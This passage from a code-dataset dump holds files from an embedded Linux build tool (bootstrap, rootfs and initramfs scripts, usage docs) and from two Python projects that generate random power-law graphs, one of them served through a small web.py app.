"is_vendor": false,
"language": "Python",
"length_bytes": 1993,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 51,
"path": "/bootstrap.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "#! /usr/bin/env python3\n#\n# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport sys\nimport traceback\n\nimport sbxg\n\ndef error(message):\n print(\"{}error:{} {}\".format(\n sbxg.utils.ANSI_STYLE['fail'],\n sbxg.utils.ANSI_STYLE['endc'],\n message,\n ), file=sys.stderr)\n\n\n# Run the main entry point. We will also catch all the exceptions to\n# pretty-format the reason of failure.\nif __name__ == \"__main__\":\n try:\n sbxg.runner.main(sys.argv)\n except sbxg.error.SbxgError as exception:\n # SBXG will raise its own errors through custom exceptions. They are\n # already well-formated, and correspond to nominal failures.\n error(exception)\n sys.exit(1)\n except Exception:\n # Generale exceptions are the one not planned by SBXG.\n error(\"Unhandled error! Please report the following trace:\")\n traceback.print_exc(file=sys.stderr)\n error(\"Aborting!\")\n sys.exit(127)\n"
},
{
"alpha_fraction": 0.6044663190841675,
"alphanum_fraction": 0.635124921798706,
"avg_line_length": 24.901960372924805,
"blob_id": "67ede0bb2cccbeeb51501b471fd407b60dfd674c",
"content_id": "c36ea980fac1d516005ae89a085e19b43b88b8e6",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 2642,
"license_type": "permissive",
"max_line_length": 89,
"num_lines": 102,
"path": "/doc/how-to.rst",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "How Do I Do That?\n=================\n\nI want to compile a single component\n------------------------------------\n\nYou first need to take a look at the files known to SBXG, by running the ``bootstrap.py``\nscript with the ``--show-library`` option:\n\n.. code::\n\n $ ./bootstrap.py --show-library\n\n List of available boards (with variants):\n - cubietruck ( xen )\n - virtual ( vexpress-v7 )\n - orangepi-zero\n\n List of sources:\n - uboot: 2017.07\n - xen: 4.8.0\n - toolchain: local\n - toolchain: armv7-eabihf\n - kernel: linux-4.12.0\n - busybox: 1.27.1\n\n List of configurations:\n - bootscript: boot-sunxi-default\n - bootscript: boot-sunxi-xen\n - uboot: 2017.07-minimal\n - xen: 4.8-sunxi\n - kernel: linux-4.12-sunxi\n - kernel: linux-4.12-sunxi-xen-dom0\n - kernel: linux-4.12-xen-domu\n - busybox: minimal\n\n\nI want to compile just a kernel\n................................\n\nFrom the list that is shown to you, you must pick:\n\n* a kernel to be compiled (in the *List of sources*),\n* a kernel configuration (in the *List of configurations*),\n* a toolchain (in the *List of sources*).\n\nMake sure that all parameters are coherent together. For instance, do not pick\na Xen configuration for a Linux kernel, or a Linux 3.4 configuration when you\nare trying to build a Linux 4.14. Configurations are also linked to a given\narchitecture or SoC (e.g. cubietruck/sunxi), so make sure the toolchain you select\nis coherent with the product you want to build.\n\nFor instance, if you want to cross-build a Linux 4.12.0 for a Cubietruck (sunxi):\n\n.. code::\n\n bootstrap.py --kernel linux-4.12.0 linux-4.12-sunxi\n --toolchain armv7-eabihf\n\n\nI want to compile just a bootloader\n...................................\n\nFrom the list that is shown to you, you must pick:\n\n* a U-Boot to be compiled (in the *List of sources*),\n* a U-Boot configuration (in the *List of configurations*),\n* a toolchain (in the *List of sources*).\n\n\nFor instance, if you want to build a U-Boot 2017.07 locally (assuming an ARM\nhost):\n\n.. code::\n\n bootstrap.py --uboot 2017.07 2017.07-minimal\n --toolchain local\n\n\nI want to compile just Xen\n..........................\n\nFrom the list that is shown to you, you must pick:\n\n* a Xen to be compiled (in the *List of sources*),\n* a Xen configuration (in the *List of configurations*),\n* a toolchain (in the *List of sources*).\n\n\nFor instance, if you want to cross-build a Xen 4.8.0 for a sunxi SoC:\n\n.. code::\n\n bootstrap.py --xen 4.8.0 4.8-sunxi\n --toolchain armv7-eabihf\n\n\n\nI want to generate a firmware image\n------------------------------------\n\nTODO :/\n"
},
{
"alpha_fraction": 0.6641016006469727,
"alphanum_fraction": 0.6667948961257935,
"avg_line_length": 33.6533317565918,
"blob_id": "38a84a06f4d627e76bac0c520e55bf0dfc434e36",
"content_id": "4e070228efe4b5dc4d19deec8785f952c2211060",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2599,
"license_type": "permissive",
"max_line_length": 80,
"num_lines": 75,
"path": "/scripts/gen-rootfs.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "#! /usr/bin/env python\n#\n# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport argparse\nimport subprocess\nimport sys\n\ndef getopts(argv):\n parser = argparse.ArgumentParser(description='Rootfs generator')\n parser.add_argument(\n '--mkfs', type=str, default='ext3',\n help='Type of filesystem to be generated. This option is passed to mkfs'\n )\n parser.add_argument(\n '--ok', action='store_true',\n help='Use this option to confirm the commands to be run'\n )\n parser.add_argument(\n 'rootfs_dir', type=str,\n help='Path to the directory containing the rootfs'\n )\n parser.add_argument(\n 'output', type=str,\n help='Path to the filesystem block to be created'\n )\n parser.add_argument(\n 'size', type=int,\n help='Size (in MB) of the output filesystem'\n )\n return parser.parse_args(argv[1:])\n\ndef main(argv):\n args = getopts(argv)\n\n cmds = []\n cmds.append(\"dd if=/dev/zero of={} bs=1M count={} iflag=fullblock\".format(\n args.output, args.size\n ))\n cmds.append(\"sync\")\n cmds.append(\"mkfs.{} -d {} {}\".format(\n args.mkfs, args.rootfs_dir, args.output\n ))\n\n\n if args.ok:\n for cmd in cmds:\n print(\"Running {}\".format(cmd))\n subprocess.check_call(cmd.split(' '))\n else:\n print(\"The following commands are planned to be run:\\n\")\n for cmd in cmds:\n print(\" {}\".format(cmd))\n print(\"\\nRe-run with the --ok option to run them.\")\n\nif __name__ == \"__main__\":\n main(sys.argv)\n"
},
{
"alpha_fraction": 0.6390374302864075,
"alphanum_fraction": 0.6428995728492737,
"avg_line_length": 31.679611206054688,
"blob_id": "418033e55d1742947494941ef0180e13b7a7ff29",
"content_id": "31611529fd60b1625e24e3422a9acb7714697ae2",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3366,
"license_type": "permissive",
"max_line_length": 79,
"num_lines": 103,
"path": "/scripts/create-initramfs.py",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "#! /usr/bin/env python\n#\n# Copyright (c) 2017 Jean Guyomarc'h\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport argparse\nimport os\nimport subprocess\nimport sys\n\nFSTAB = \"\"\"# SBXG-Powered fstab for busybox\n# <file system> <mount point> <type> <options> <dump> <pass>\nproc /proc proc defaults 0 0\nsysfs /sys sysfs defaults 0 0\n\"\"\"\n\nRCS = \"\"\"# SBXG-Powered rcS for busybox\n#! /bin/sh\n\nset +e # Do *NOT* fail on error!!!\n/bin/mount -a # Mount things in fstab.\n/bin/mount -t devtmpfs devtmpfs /dev # Mount devtmpfs\ncat /etc/motd # Say welcome\n\"\"\"\n\nMOTD = \"\"\"\n ____ ____ _ _ ___\n / ___)( _ \\( \\/ )/ __)\n \\___ \\ ) _ ( ) (( (_ \\\\\n (____/(____/(_/\\_)\\___/\n\n\n\"\"\"\n\ndef getopts(argv):\n parser = argparse.ArgumentParser(description='Initramfs packager')\n parser.add_argument(\n 'path', type=str,\n help='Path to the busybox build directory'\n )\n parser.add_argument(\n '--output', '-o', type=str, default='initramfs.cpio',\n help='Path where the initramfs will be generated'\n )\n return parser.parse_args(argv[1:])\n\n\ndef main(argv):\n args = getopts(argv)\n\n # This part shall be executed in the busysbox install dir\n cwd = os.getcwd()\n os.chdir(args.path)\n\n # Create some mountpoints and the configuration directory\n for new_dir in [\"dev\", \"proc\", \"sys\", \"mnt\", \"etc/init.d\"]:\n os.makedirs(new_dir, exist_ok=True)\n\n # Symlink /init to /sbin/init\n if not os.path.exists(\"init\"):\n os.symlink(\"/sbin/init\", \"init\")\n\n # Create the fstab, initial configuration and motd\n with open('etc/fstab', 'w') as stream:\n stream.write(FSTAB)\n with open('etc/init.d/rcS', 'w') as stream:\n stream.write(RCS)\n with open('etc/motd', 'w') as stream:\n stream.write(MOTD)\n\n # Make the initial configuration executable\n os.chmod('etc/init.d/rcS', 0o755)\n\n # Run cpio to create the initramfs\n output = subprocess.check_output(\n \"find . -print | cpio --quiet -o --format=newc\", shell=True\n )\n\n # Change directory back, so we don't have to recalculate thhe output path\n os.chdir(cwd)\n # Write the initramfs on the filesystem\n with open(args.output, 'wb') as stream:\n stream.write(output)\n\nif __name__ == \"__main__\":\n main(sys.argv)\n"
},
{
"alpha_fraction": 0.5731707215309143,
"alphanum_fraction": 0.577235758304596,
"avg_line_length": 35.900001525878906,
"blob_id": "8eac6ff12167718dc6f81e8273d1a72ae6e78689",
"content_id": "d0ba2c095b6231b602b07a538edcd539b5e9be85",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 738,
"license_type": "permissive",
"max_line_length": 81,
"num_lines": 20,
"path": "/utils/cargo_setup.sh",
"repo_name": "sbxg/sbxg",
"src_encoding": "UTF-8",
"text": "#! /usr/bin/env sh\n\n# Installing subcomponent and use --force option if component is\n# already installed, otherwise : error: binary `subcomponent` already\n# exists in destination as part of `subcomponent v0.1.0`\n\"$HOME/.cargo/bin/cargo\" install subcomponent --force\n\nset +x\necho\necho \"==========================================================================\"\necho\necho \" To complete your setup, please add the following line to your ~/.profile\"\necho \" file or equivalent:\"\necho\necho ' export PATH=\"$PATH:$HOME/.cargo/bin\"'\necho\necho\necho \" You will also need to execute this line in your shell to be able to run\"\necho \" SBXG from this shell.\"\necho \"==========================================================================\"\n"
}
] | 21 |
Blockhead4/Python-Tutorial | https://github.com/Blockhead4/Python-Tutorial | f12fbd74b70a78dac025d6e982484bc3fd8e0499 | a3a4e781365258c349eb5a65baf86dcbdc0865f2 | 8272a72702874a6138992d9a1695cef2fa1fc74b | refs/heads/master | 2020-06-09T18:33:14.278183 | 2019-09-18T08:43:24 | 2019-09-18T08:43:24 | 193,485,130 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6591478586196899,
"alphanum_fraction": 0.6741854548454285,
"avg_line_length": 12.724138259887695,
"blob_id": "bb804356b5827b8d78d5e9eccd5fe44bcef142c5",
"content_id": "03ddd224051cb995672b342f331958f830d00ea3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 399,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 29,
"path": "/basic/3.py",
"repo_name": "Blockhead4/Python-Tutorial",
"src_encoding": "UTF-8",
"text": "# import random\n\n# courses = ['History', 'Math', 'Physics', 'CompSci']\n\n# random_courses = random.choice(courses)\n\n# print(random_courses)\n\n# import math\n\n# rads = math.radians(90)\n\n# print(math.sin(rads))\n\n# import datetime\n# import calendar\n\n# today = datetime.date.today()\n# print(today)\n\n# print(calendar.isleap(2020))\n\nimport os\n\n# print(os.getcwd())\n\nprint(os.__file__)\n\n# import antigravity \n"
},
{
"alpha_fraction": 0.6352459192276001,
"alphanum_fraction": 0.6393442749977112,
"avg_line_length": 20.2608699798584,
"blob_id": "2a055105d6c89a7c3c6a7d672aafba4d9c44185e",
"content_id": "27493c7b1f6592af12e2995e42752c5c12492a64",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 592,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 23,
"path": "/basic/2.py",
"repo_name": "Blockhead4/Python-Tutorial",
"src_encoding": "UTF-8",
"text": "# import my_module as mm\nfrom my_module import find_index, test # it's better way than below one\n# from my_module import *\nimport sys\n\ncourses = ['History', 'Math', 'Physics', 'CompSci']\n\nindex = find_index(courses, 'Math')\n# print(index)\n# print(test)\n\nprint(sys.path)\n\n'''\nHow to add python environment variable :\n\n1. 방법:\n내 PC 속성 >> 고급 시스템 설정 >> 환경변수 >> 사용자 변수(새로 만들기)\n>> 변수 이름 : PYTHONPATH >> 변수 값 : '추가할 경로' >> 저장\n\n2. 확인:\ncmd 실행 >> python 입력 >> import sys 입력 >> sys.path 입력 >> 확인\n'''"
},
{
"alpha_fraction": 0.6609294414520264,
"alphanum_fraction": 0.6617900133132935,
"avg_line_length": 22.73469352722168,
"blob_id": "0a4b5911a44d010732d1c3e10f4ee73867f991e4",
"content_id": "23a2b040ca15a892d69041a9b50a3940f2b43db3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1162,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 49,
"path": "/basic/4.py",
"repo_name": "Blockhead4/Python-Tutorial",
"src_encoding": "UTF-8",
"text": "import os\nfrom datetime import datetime\n\n# print(dir(os))\n# print(os.getcwd())\n\n# os.chdir()\n\n# make a directory\n# os.mkdir('makedir')\n# make directories(include sub dir)\n# os.makedirs('makedir/subdir')\n\n# os.rmdir('makedir')\n# os.removedirs('makedir/subdir')\n\n# os.rename(original file name, the name of the new file)\n# os.rename('test.txt', 'demo.txt')\n\n# mod_time = os.stat('1.py').st_mtime\n# print(datetime.fromtimestamp(mod_time))\n\n# print(os.listdir())\n\n# print(str(os.getcwd()))\n\n# for dirpath, dirnames, filenames in os.walk('/Users/Jwp/Desktop/workspace/python/Tutorial'):\n# print('Current path: ', dirpath)\n# print('Directories: ', dirnames)\n# print('Files: ', filenames)\n# print()\n\n# print(os.environ.get('HOME'))\n\n# file_path = os.path.join(os.environ.get('HOME'), 'test.txt')\n\n# with open(file_path, 'w') as f:\n# f.wte\n\n# print(os.path.basename('/tmp/test.txt'))\n# print(os.path.dirname('/tmp/test.txt'))\n# print(os.path.split('/tmp/test.txt'))\n# print(os.path.splitext('/tmp/test.txt'))\n# print(os.path.exists('/tmp/test.txt'))\n\n# print(os.path.isdir('/tmp/asdflkd'))\n# print(os.path.isfile('/tmp/asdflkd'))\n\nprint(dir(os.path))"
},
{
"alpha_fraction": 0.4178982079029083,
"alphanum_fraction": 0.5032840967178345,
"avg_line_length": 22.126583099365234,
"blob_id": "27c75ac33834defd1c20fe8b5f74790aa2b5dc93",
"content_id": "78d9c1ec6d7c2c269f20b3f2f91ae3ba7f263e1d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3654,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 158,
"path": "/Deep_Learning/Tensorflow/Lab_08/lab08.py",
"repo_name": "Blockhead4/Python-Tutorial",
"src_encoding": "UTF-8",
"text": "# Lab 8 Tensor Manipulation\n# https://www.tensorflow.org/api_guides/python/array_ops\nimport tensorflow as tf\nimport numpy as np\nimport pprint\ntf.set_random_seed(777) # for reproducibility\n\npp = pprint.PrettyPrinter(indent=4)\nsess = tf.InteractiveSession()\n\n# 1. Simple Array\n# t = np.array([0., 1., 2., 3., 4., 5., 6.])\n# pp.pprint(t)\n# t.ndim # rank\n# t.shape # shape\n# t[0], t[1], t[-1]\n# t[2:5], t[4:-1]\n# t[:2], t[3:]\n\n# 2. 2D Array\n# t = np.array([[1., 2., 3.], [4., 5., 6.], [7., 8., 9.], [10., 11., 12.]])\n# pp.pprint(t)\n# t.ndim # rank\n# t.shape # shape\n\n# 3. Shape, Rank, Axis\n# t = tf.constant([1,2,3,4])\n# tf.shape(t).eval()\n\n# t = tf.constant([[1,2],\n# [3,4]])\n# tf.shape(t).eval()\n\n# t = tf.constant([[[[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]],[[13, 14, 15, 16], [17, 18, 19, 20], [21, 22, 23, 24]]]])\n# tf.shape(t).eval()\n\n# [\n# [\n# [\n# [1,2,3,4], \n# [5,6,7,8],\n# [9,10,11,12]\n# ],\n# [\n# [13,14,15,16],\n# [17,18,19,20], \n# [21,22,23,24]\n# ]\n# ]\n# ]\n\n# 4. Matmul vs Multiply\n# matrix1 = tf.constant([[3., 3.]])\n# matrix2 = tf.constant([[2.],[2.]])\n# tf.matmul(matrix1, matrix2).eval()\n\n# (matrix1*matrix2).eval()\n\n# 5. Watch out broadcasting\n# matrix1 = tf.constant([[3., 3.]])\n# matrix2 = tf.constant([[2.],[2.]])\n# matrix1+matrix2).eval()\n\n# matrix1 = tf.constant([[3., 3.]])\n# matrix2 = tf.constant([[2., 2.]])\n# matrix1+matrix2).eval()\n\n# 6. Random values for variable initializations\n# tf.random_normal([3]).eval()\n# tf.random_uniform([2]).eval()\n# tf.random_uniform([2, 3]).eval()\n\n# 7. Reduce Mean/Sum\n# tf.reduce_mean([1, 2], axis=0).eval()\n\n# x = [[1., 2.],\n# [3., 4.]]\n\n# tf.reduce_mean(x).eval()\n# tf.reduce_mean(x, axis=0).eval()\n# tf.reduce_mean(x, axis=1).eval()\n# tf.reduce_mean(x, axis=-1).eval()\n# tf.reduce_sum(x).eval()\n# tf.reduce_sum(x, axis=0).eval()\n# tf.reduce_sum(x, axis=-1).eval()\n# tf.reduce_mean(tf.reduce_sum(x, axis=-1)).eval()\n\n# 8. Argmax with axis\n# x = [[0, 1, 2],\n# [2, 1, 0]]\n# tf.argmax(x, axis=0).eval()\n# tf.argmax(x, axis=1).eval()\n# tf.argmax(x, axis=-1).eval()\n\n# 9. Reshape, Squeeze, Expand_dims\n# t = np.array([[[0, 1, 2], \n# [3, 4, 5]],\n \n# [[6, 7, 8], \n# [9, 10, 11]]])\n# t.shape\n\n# tf.reshape(t, shape=[-1, 3]).eval()\n# tf.reshape(t, shape=[-1, 1, 3]).eval()\n# tf.squeeze([[0], [1], [2]]).eval()\n# tf.expand_dims([0, 1, 2], 1).eval()\n\n# 10. One hot\n# tf.one_hot([[0], [1], [2], [0]], depth=3).eval()\n# t = tf.one_hot([[0], [1], [2], [0]], depth=3)\n# tf.reshape(t, shape=[-1, 3]).eval()\n\n# 11. Casting\n# tf.cast([1.8, 2.2, 3.3, 4.9], tf.int32).eval()\n# tf.cast([True, False, 1 == 1, 0 == 1], tf.int32).eval()\n\n# 12. Stack\n# x = [1, 4]\n# y = [2, 5]\n# z = [3, 6]\n\n# Pack along first dim.\n# tf.stack([x, y, z]).eval()\n# tf.stack([x, y, z], axis=1).eval()\n\n# 13. Ones like and Zeros like\n# x = [[0, 1, 2],\n# [2, 1, 0]]\n\n# tf.ones_like(x).eval()\n# tf.zeros_like(x).eval()\n\n# 14. Zip\n# for x, y in zip([1, 2, 3], [4, 5, 6]):\n# x, y\n# for x, y, z in zip([1, 2, 3], [4, 5, 6], [7, 8, 9]):\n# x, y, z\n\n# 15. Transpose\n# t = np.array([[[0, 1, 2], [3, 4, 5]], [[6, 7, 8], [9, 10, 11]]])\n# pp.pprint(t.shape)\n# pp.pprint(t)\n\n# t1 = tf.transpose(t, [1, 0, 2])\n# pp.pprint(sess.run(t1).shape)\n# pp.pprint(sess.run(t1))\n\n# t = tf.transpose(t1, [1, 0, 2])\n# pp.pprint(sess.run(t).shape)\n# pp.pprint(sess.run(t))\n\n# t2 = tf.transpose(t, [1, 2, 0])\n# pp.pprint(sess.run(t2).shape)\n# pp.pprint(sess.run(t2))\n\n# t = tf.transpose(t2, [2, 0, 1])\n# pp.pprint(sess.run(t).shape)\n# pp.pprint(sess.run(t))\n"
}
] | 4 |
berliozmeister/6967986796707097 | https://github.com/berliozmeister/6967986796707097 | 6ba4b929ec779f429f0fcebbbcccd31b0dde088f | b1ad5da9e7c8e9b8093275b96c6a137024c3f672 | cf31adfe0ac85c321d32a48adc8cbac610f0fedf | refs/heads/master | 2021-01-23T13:17:42.398963 | 2012-06-05T11:33:50 | 2012-06-05T11:33:50 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6193490028381348,
"alphanum_fraction": 0.6528028845787048,
"avg_line_length": 28.13157844543457,
"blob_id": "33d061801f3cb904662497498c4e2ad99ba2f46a",
"content_id": "bb8fd21de1a298a18e40f77a291ef7a203e82e3b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1106,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 38,
"path": "/test/test.py",
"repo_name": "berliozmeister/6967986796707097",
"src_encoding": "UTF-8",
"text": "'''\nCreated on 05.06.2012\n\n@author: berlioz\n'''\nimport utils\nimport networkx as nx\nimport numpy as np\nimport random as rnd\nimport time\n\ndef RGG(n, beta, mean_degree):\n G = nx.empty_graph(n)\n powerLawArray = utils.powerLawArray(n, beta, mean_degree)\n powerLawDegreeArray = np.array(powerLawArray, dtype = np.longlong)\n sumOfDegrees = powerLawDegreeArray.sum()\n delimiterArray = np.cumsum(powerLawDegreeArray)\n delimiterArray = np.insert(delimiterArray, 0, 0)\n delimiterArray = np.delete(delimiterArray, n)\n someCounter = 0\n while someCounter < sumOfDegrees/2:\n G.add_edge(np.searchsorted(delimiterArray, rnd.randrange(sumOfDegrees)),\n np.searchsorted(delimiterArray, rnd.randrange(sumOfDegrees)))\n someCounter += 1\n txtname = \"test/adj-%s-%s-%s-.txt\" % (str(n), str(beta), str(mean_degree))\n nx.write_adjlist(G, txtname)\n \nf = open('test.txt', 'r+')\n#f.write('a')\n\ndef output(i):\n for k in range(10000, i, 10000):\n t0 = time.time()\n RGG(k, 1.7, 100)\n t1 = time.time() - t0\n print str(i) + \" \" + t1\n\noutput(30000)"
},
{
"alpha_fraction": 0.5868383646011353,
"alphanum_fraction": 0.6045779585838318,
"avg_line_length": 28.39130401611328,
"blob_id": "ec368742335a9a339236dd7d3638c862ce93492f",
"content_id": "15eb8d87b5849f52731bb39af28c9ff75edbe2cd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3495,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 115,
"path": "/Demo/webgenerator.py",
"repo_name": "berliozmeister/6967986796707097",
"src_encoding": "UTF-8",
"text": "'''\r\nCreated on 04.06.2012\r\n\r\n@author: berlioz\r\n'''\r\nimport web\r\nimport os\r\nimport urllib\r\nimport posixpath\r\n\r\nfrom igraph import *\r\n\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\n\r\nimport networkx as nx\r\nimport utils \r\nimport numpy as np\r\nimport networkx.utils as nu\r\nimport math\r\nimport matplotlib.pyplot as plt\r\n\r\nimport random as rnd\r\n\r\nurls = (\r\n '/(.*)', 'index'\r\n)\r\n\r\napp = web.application(urls, globals())\r\nrender = web.template.render('templates/')\r\n\r\nif not os.path.exists('generated'):\r\n os.mkdir('generated')\r\n \r\n\r\ndef RGG(n, beta, mean_degree):\r\n G = nx.empty_graph(n)\r\n powerLawArray = utils.powerLawArray(n, beta, mean_degree)\r\n powerLawDegreeArray = np.array(powerLawArray, dtype = np.longlong)\r\n sumOfDegrees = powerLawDegreeArray.sum()\r\n delimiterArray = np.cumsum(powerLawDegreeArray)\r\n delimiterArray = np.insert(delimiterArray, 0, 0)\r\n delimiterArray = np.delete(delimiterArray, n)\r\n someCounter = 0\r\n while someCounter < sumOfDegrees/2:\r\n G.add_edge(np.searchsorted(delimiterArray, rnd.randrange(sumOfDegrees)),\r\n np.searchsorted(delimiterArray, rnd.randrange(sumOfDegrees)))\r\n someCounter += 1\r\n txtname = \"generated/adj-%s-%s-%s-.txt\" % (str(n), str(beta), str(mean_degree))\r\n nx.write_adjlist(G, txtname)\r\n degreeSequence=sorted(nx.degree(G).values(),reverse=True)\r\n dmax=max(degreeSequence)\r\n plt.clf()\r\n plt.cla()\r\n plt.loglog(degreeSequence,'b-',marker='o')\r\n plt.title(\"Degree rank plot\")\r\n plt.ylabel(\"degree\")\r\n plt.xlabel(\"rank\")\r\n if n < 1000:\r\n plt.axes([0.45,0.45,0.45,0.45])\r\n plt.cla()\r\n Gcc=nx.connected_component_subgraphs(G)[0]\r\n pos=nx.spring_layout(Gcc)\r\n plt.axis('off')\r\n nx.draw_networkx_nodes(Gcc,pos,node_size=20)\r\n nx.draw_networkx_edges(Gcc,pos,alpha=0.4)\r\n pngname = \"generated/graph-%s-%s-%s-.png\" % (str(n), str(beta), str(mean_degree))\r\n plt.savefig(pngname)\r\n #plt.show()\r\n \r\n\r\n\r\n\r\nclass index:\r\n def GET(self, wtf):\r\n inp = web.input(mean='10', power='1.7', size='10000')\r\n RGG(int(inp.size), float(inp.power), int(inp.mean))\r\n return render.index(mean=inp.mean, power=inp.power, size=inp.size)\r\n\r\nclass StaticMiddleware:\r\n \"\"\"WSGI middleware for serving static files.\"\"\"\r\n def __init__(self, app, prefix='/generated/',\r\n root_path=r'/generated/'):\r\n self.app = app\r\n self.prefix = prefix\r\n self.root_path = root_path\r\n\r\n def __call__(self, environ, start_response):\r\n path = environ.get('PATH_INFO', '')\r\n path = self.normpath(path)\r\n\r\n if path.startswith(self.prefix):\r\n environ[\"PATH_INFO\"] = os.path.join(self.root_path,\r\n web.lstrips(path, self.prefix))\r\n return web.httpserver.StaticApp(environ, start_response)\r\n else:\r\n return self.app(environ, start_response)\r\n\r\n def normpath(self, path):\r\n path2 = posixpath.normpath(urllib.unquote(path))\r\n if path.endswith(\"/\"):\r\n path2 += \"/\"\r\n return path2\r\n\r\n\r\nif __name__ == \"__main__\":\r\n wsgifunc = app.wsgifunc()\r\n wsgifunc = StaticMiddleware(wsgifunc)\r\n wsgifunc = web.httpserver.LogMiddleware(wsgifunc)\r\n server = web.httpserver.WSGIServer((\"0.0.0.0\", 8080), wsgifunc)\r\n print \"http://%s:%d/\" % (\"0.0.0.0\", 8080)\r\n try:\r\n server.start()\r\n except KeyboardInterrupt:\r\n server.stop()\r\n"
}
] | 2 |
Federic13/SMSSpamDetection | https://github.com/Federic13/SMSSpamDetection | 3c8af1f9ad70f436dbbdf7fa07c1a054ef4c7845 | c67a2db7fca33244af0b7d68ca98964e9e2678f4 | e32dd82b50d95705a609c177514a4bf16af74cea | refs/heads/main | 2023-08-14T17:40:23.706482 | 2021-09-27T15:14:01 | 2021-09-27T15:14:01 | 407,437,656 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6695734858512878,
"alphanum_fraction": 0.6810191869735718,
"avg_line_length": 43.74390411376953,
"blob_id": "50af142276aef977ba046c9df0e08b519a6a0205",
"content_id": "4f44a39445bf76594e26c344ff3bf9de58838e09",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7339,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 164,
"path": "/Code/SMS_GRU.py",
"repo_name": "Federic13/SMSSpamDetection",
"src_encoding": "UTF-8",
